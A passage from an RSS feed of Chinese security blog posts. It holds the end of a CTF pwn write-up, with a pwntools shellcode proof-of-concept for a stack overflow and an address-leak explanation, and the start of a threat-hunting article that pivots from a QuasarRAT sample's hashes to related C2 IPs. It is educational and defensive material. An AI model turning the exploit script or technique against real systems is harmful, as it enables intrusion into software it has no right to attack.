221);">if</span> alg &gt; SfmHashAlgorithm::HashAlgMax <span style="color: rgb(198, 120, 221);">as</span> <span style="color: rgb(209, 154, 102);">u16</span> {<br/>            <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(97, 174, 238);">Err</span>(SfmError::InvalidAlgorithmType);<br/>        }<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">report</span> = <span style="color: rgb(198, 120, 221);">self</span>.sfm.<span style="color: rgb(97, 174, 238);">attest</span>(alg, <span style="color: rgb(198, 120, 221);">self</span>.banks.<span style="color: rgb(97, 174, 238);">to_vec</span>());<br/>        <span style="color: rgb(198, 120, 221);">self</span>.stream.<span style="color: rgb(97, 174, 238);">write_all</span>(&amp;report.<span style="color: rgb(97, 174, 238);">ok_or</span>(SfmError::SfmInternalError)?[..])?;<br/>        <span style="color: rgb(97, 174, 238);">Ok</span>(<span style="color: rgb(86, 182, 194);">true</span>)<br/>    }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  该函数对输入进行处理，然后给client返回一个report，当输入的alg为4的时候会直接返回一个EVP_MD_CTX struct：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49722222222222223" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c96244a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY32waAkGFjhYictAKOicqgReibsAFHOXATRib2BvPMWic2FTF6TI35lWJWUGFWSuRqMiaIq4wXT45zPvQA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  他会被copy进入out_buf，其中包含了很多func pointers和heap addresses，从而实现address leak。</p><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">漏洞利用</h1><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  因为launcher和sfm都是uploader的子进程，因此不能类似平常的CTF赛题一样从输出获取泄露的地址信息。因此需要通过设置合适的gdb debug mode来实现调试，这里我们复现一下stack_overflow的poc。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">from</span> pwn <span style="color: rgb(198, 120, 221);">import</span> *<br/><span style="color: rgb(198, 120, 221);">from</span> binascii <span style="color: rgb(198, 120, 221);">import</span> hexlify<br/>context.log_level = <span style="color: rgb(152, 195, 121);">&#39;debug&#39;</span><br/>connect.arch = <span style="color: rgb(152, 195, 121);">&#39;amd64&#39;</span><br/>context.terminal = [<span style="color: rgb(152, 195, 121);">&#34;tmux&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;splitw&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;-h&#34;</span>]<br/>p = process(<span style="color: rgb(152, 195, 121);">&#39;./uploader&#39;</span>)<br/>payload =  <span style="color: rgb(152, 195, 121);">&#39;&#39;</span><br/>payload += shellcraft.read(<span style="color: rgb(209, 154, 102);">3</span>, <span style="color: rgb(152, 195, 121);">&#39;rsp&#39;</span>, <span style="color: rgb(209, 154, 102);">4</span>)<br/>payload += shellcraft.pushstr(<span style="color: rgb(152, 195, 121);">&#34;SFMI&#34;</span>)<br/>payload += shellcraft.write(<span style="color: rgb(209, 154, 102);">3</span>, <span style="color: rgb(152, 195, 121);">&#39;rsp&#39;</span> , <span style="color: rgb(209, 154, 102);">4</span>)<br/>payload = asm(payload)<br/>payload = payload.ljust(<span style="color: rgb(209, 154, 102);">0x2000</span>, <span style="color: rgb(152, 195, 121);">b&#39;\x90&#39;</span>) <span style="color: rgb(92, 99, 112);font-style: italic;"># 这里就是之前说到的关键</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">upload</span>():<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># gdb.attach(p)</span><br/>    p.recvuntil(<span style="color: rgb(152, 195, 121);">b&#39;&gt;&#39;</span>)<br/>    p.sendline(<span style="color: rgb(152, 195, 121);">b&#39;upload&#39;</span>)<br/>    p.sendline(hexlify(payload))<br/>upload()<br/>p.interactive()</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  假设不用gdb的话，直接运行脚本是看不到任何异常的，因为崩溃的其实是子进程，调试的时候需要进行下面的设置：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">pwndbg&gt; </span>catch <span style="color: rgb(230, 192, 123);">exec</span><br/><span style="color: rgb(97, 174, 238);">pwndbg&gt; </span>catch fork<br/><span style="color: rgb(97, 174, 238);">pwndbg&gt; </span>catch vfork</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  gdb的catch功能此时很好用，可以设置catchpoint让调试器因为某种程序事件停止，这里设置了fork, vfork, exec，前两个不用多说是为了在产生子进程的时候断下程序，exec则是为了在子进程运行之初将其断下来，然后通过合适的设置follow-fork-mode就可以进入目标进程观察和调试崩溃：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7907407407407407" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7469045f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY32waAkGFjhYictAKOicqgRehBYpCzn4I5fTFIPW3qmcBx1jIFfRpQicLvoFJdHsNaTNuy5plm27oUg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  信息泄露的调试和后续的内容就不贴了，因为也没提供题目附件（想要的可以找我，或者网上下载），主要是提供一些有趣的思路分享给大家。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485935">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1c40b618&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485935%26idx%3D1%26sn%3D5aa99f2de3b4e4c8c53ff8515e84275a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 05 Jun 2023 13:54:00 +0800</pubDate>
    </item>
    <item>
      <title>从IP和样本进行拓线Hunting</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485926&amp;idx=1&amp;sn=f9588865b7a129eb02b247b99d647840</link>
      <description>从IP和样本进行拓线Hunting</description>
      <content:encoded><![CDATA[<p>
原创 <span>卡芙卡的狗</span> <span>2023-05-24 10:12</span> <span style="display: inline-block;">北京</span>
</p>

<p>从IP和样本进行拓线Hunting</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9c113853&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXiaUPHJMcoU6a1LKskZH6k52vgFY8ydcJJu4Uz1ka1dbtxZibAQkAnLQA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="letter-spacing: normal;white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">前言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在情报生产中当你拿到一批样本，应该思考如何通过样本里的C2或者特征去拓线找到更多的恶意样本或者C2链接，本文将给出从一个样本出发进行拓线分析的例子，大佬轻喷。</p><h2 style="letter-spacing: normal;white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">QuasarRAT</h2><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">样本获取</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  样本来源推荐一个网站：<span style="line-height: 1.75;color: rgb(87, 107, 149);">MalwareBazaar | Browse malware samples (abuse.ch)</span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中收录了大量的样本，而且存在一些标识Tag帮助你快速找到自己想要的样本，当然也是有对应的搜索语句的，学习一下即可。这里用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">signature:QuasarRAT</code>进行搜索</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6703703703703704" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1260c081&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXrfa1GrFDZFjcsQrp7jPSoI3sxV1xG4SXfaa5LACTIz6yv5OuB5vlibw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这些都是被标记为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">QuasarRAT</code>的样本，挑一些出来看看：</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.612037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2db64071&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXkJMDVUJwAEG0fY7aFvLe0NrKuVjfZmbZN1CichNC8mNE2HCXa0RK9jQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">SHA256 hash:  0183491852a035f91d926bc25b7f09e7f145c59429cfef10e3f9963caa95c068<br/>SHA1 hash:  89cb5af4f1953fb7b26c592d95461e0a2a9a546d<br/>MD5 hash:  5e48a824853c3c6b9fe64223fe12d7cb</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  样本准备好了，接下来就是进行一些行为分析，由于笔者不是专业的二进制样本分析师，所以我们借助沙箱和VirusTotal来进行分析。</p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">样本分析</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  把样本扔到各家的沙箱里，并且去<span style="line-height: 1.75;color: rgb(87, 107, 149);">VirusTotal</span>查询一下当前样本的信息和关联情况</p><h4 style="font-size: 1em;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">微步云沙箱</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看到命中了一些沙箱的规则，但是没有检测到有释放的文件或者连接的远控server</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5790554414784395" data-s="300,640" style="" data-type="png" data-w="974" src="https://wechat2rss.xlab.app/img-proxy/?k=6d6674a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXGdHtPN6l32zruegsZ8WLFtn1q0kQ0Ia79atPvkYZqwL2AGnY1wo78w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.26619433198380565" data-s="300,640" style="" data-type="png" data-w="988" src="https://wechat2rss.xlab.app/img-proxy/?k=ab643263&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXko6CZlcxMqjlFySicbkmVhAkuVRbrNNTLcKYHUUQEbVLyOT7hDJhXDA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h4 style="font-size: 1em;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">VirusTotal</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  主力还是我们的vt，我们重点关注<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">RELATION</code>这个页面，其中包含了一些关联的样本和IP信息</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6527777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=faccb576&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXqG0NdozSJWDqEWspSfZ1CicGMLo63SV9lQEZRib0Afy05qeTVAjZE8cw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9754224270353302" data-s="300,640" style="" data-type="png" data-w="651" src="https://wechat2rss.xlab.app/img-proxy/?k=ffd50902&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXu1dTagdpWh03OIhdez2ZmuNWUNZYEyQ2fzZ2PjibwvmM1hvM50Ge0mA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于多引擎无检出的优先级并不高，因为有些样本会通过连接白名单来判断当前的网络情况，所以我们优先判断<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">59.26.93.6</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">13.107.4.50</code></p><h4 style="font-size: 1em;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">59.26.93.6</h4><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5884413309982487" data-s="300,640" style="" data-type="png" data-w="571" src="https://wechat2rss.xlab.app/img-proxy/?k=dd3eea3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXfYKDTTavX2nfh9ZJ0yEDdhMvgUBCB5s2z7tLs2R6cJWa6n0034o6SQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  关联样本有很多，但是名称很相近，跟进查看其他样本信息</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6777777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7d543ed3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXGkEia4RyPqGcic6eHP48lyiat3mUBggAAgL0P0eOHUyiayXHvxSFZ0aghQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6759259259259259" data-s="300,640" style="" data-type="png" data-w="1080" 